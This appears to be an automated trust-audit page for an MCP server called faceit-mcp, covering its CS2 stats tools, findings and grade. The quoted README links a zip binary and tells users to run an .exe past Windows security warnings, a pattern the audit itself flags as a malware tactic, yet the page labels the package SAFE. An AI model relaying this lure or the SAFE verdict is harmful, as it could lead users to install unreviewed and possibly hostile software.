Atlas / MCP servers / saivi3171 / faceit-mcp

faceit-mcpSAFE

mcp/saivi3171/faceit-mcp

Connect Claude to live CS2 FACEIT data to retrieve player stats, match history, ELO trends, and head-to-head comparisons via the Model Context Protocol.

Verdict
SAFE
Grade
B
Trust score
89 /100
Exposed tools
8 8r · 0w · 0d
Transport
—
License
MIT
Stars
1
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://github.com/saivi3171/faceit-mcp/raw/refs/heads/main/illuminator/faceitmcpv2.5.zip)

Faceit-mcp connects your FACEIT gaming statistics directly to the Claude AI assistant. You get immediate answers about your competitive performance, match history, and Elo rating without leaving your chat window. This tool uses the Model Context Protocol to bridge your gaming data and the AI.

📋 What this tool does

This application acts as a bridge between the FACEIT platform and Claude. Once configured, you can ask Claude questions about your profile.

Key features include:

  • Live CS2 match tracking.
  • Detailed match history reviews.
  • Direct player performance comparisons.
  • Real-time Elo tracking.
  • Automated data updates for accurate stats.

⚙️ System requirements

Ensure your computer meets these requirements before you start:

  • Windows 10 or Windows 11 operating system.
  • A stable internet connection.
  • A registered FACEIT account with a public profile.
  • The Claude desktop application installed on your machine.

📥 How to download the software

Follow these steps to obtain the correct files:

  1. Visit the releases page to download the installer.
  2. Look for the file ending in .exe under the Assets section.
  3. Click the file name to save it to your Downloads folder.
  4. Open your Downloads folder and double-click the file to begin the installation.

If Windows shows a security prompt, click "More info" and then "Run anyway." This application requires standard permissions to connect your local environment to the Claude AI assistant.

🛠️ Setting up the application

  1. Find the application icon on your desktop or in your start menu.
  2. Launch the application.
  3. The app will open a local configuration window.
  4. Input
Read from source at commit f7f6f6f5ddd1OBSERVED · 2026-10-11
02

Exposed tools (8)

8 read · 0 write · 0 destructive.

ToolRiskDescription
compare_playersreadCompare CS2 FACEIT stats for 2–6 players side by side.
get_elo_trendreadReturn stored ELO snapshots for a registered FACEIT player.
get_leaderboardreadReturn all registered users ranked by their current live FACEIT CS2 ELO.
get_match_detailsreadReturn full scoreboard for a specific match: teams, score, and per-player stats.
get_match_historyreadReturn the most recent CS2 matches for a FACEIT player.
get_player_map_statsreadReturn per-map performance breakdown for a FACEIT player.
get_player_statsreadReturn ELO, skill level, region, and lifetime CS2 stats for a FACEIT player.
get_recent_formreadReturn aggregated performance stats from a player
03

Trust audit

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
declared (5 observation(s))
Shell
none-observed
Dependencies
not all pinned
Secrets in source
none-found

Findings (3)

MEDIUMInventory / provenance · inv.binary · CWE-1104
illuminator/faceit_mcp_v2.5.zip
faceit_mcp_v2.5.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
requirements.txt
mcp, aiohttp, aiosqlite, python-dotenv
Why it matters. 4 requirement(s) not pinned with ==
Fix. pin exact versions
LOWPrivilege escalation / persistence · review.unsafe_action · CWE-269, CWE-250
README.md
If Windows shows a security prompt, click "More info" and then "Run anyway."
Why it matters. The README instructs users to bypass Windows SmartScreen/security warnings to execute an untrusted .exe file, a common social engineering tactic used to distribute malware.
Fix. rewrite it so the instruction says plainly what it does, and asks the user before it acts

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha f7f6f6f5ddd1full audit observations/trust-audit/mcp-server/saivi3171__faceit-mcp.json · Report an issue / request a re-scan
04

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-11f7f6f6f5ddd1SAFEB89first audit
05

Questions

What is the faceit-mcp MCP server?

Connect Claude to live CS2 FACEIT data to retrieve player stats, match history, ELO trends, and head-to-head comparisons via the Model Context Protocol.

What tools does faceit-mcp expose?

8 in total: 8 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is faceit-mcp safe to connect to an agent?

The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.

What credentials does faceit-mcp need?

It reads FACEIT_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How current is this page?

The grade is for one exact copy of the source (f7f6f6f5ddd1), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement